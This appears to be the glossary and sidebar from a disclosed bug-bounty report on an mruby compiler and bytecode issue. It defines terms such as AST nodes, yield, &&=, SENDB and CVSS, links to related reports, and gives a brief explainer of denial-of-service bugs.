  • AST (abstract syntax tree): the compiler's tree-shaped internal picture of a program.
  • NODE_CALL: an AST node representing a method call.
  • NODE_OP_ASGN: an AST node representing an assignment with an operator, such as &&=.
  • NODE_LVAR: an AST node representing a local variable.
  • yield: a Ruby keyword that runs the block passed to the current method.
  • &&=: Ruby's conditional assignment operator; assigns only if the variable is not already truthy.
  • nil: Ruby's value for "nothing".
  • SENDB: the bytecode instruction for calling a method with a block; the block is expected in register A+C+1.
  • MOVE: the bytecode instruction that copies a value from one register to another.
  • JMPNOT: the bytecode instruction that jumps if a register's value is false.
  • LOADSELF: the bytecode instruction that loads the current object into a register.
  • irep: mruby's internal representation of a compiled method, shown in the disassembly.
  • Disassembler: a tool that prints bytecode back in readable form.
  • LocalJumpError: the normal Ruby exception raised when yield is used but no block is present.
  • CVSS: a standard scoring system for the severity of a security issue.
  • Bounty: a payment made to a researcher for reporting a security issue.
  • Patch: a file describing changes to source code, in the format used by git.
  • git: a version control tool that tracks changes to source code.

More by dkasak

View all

6 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.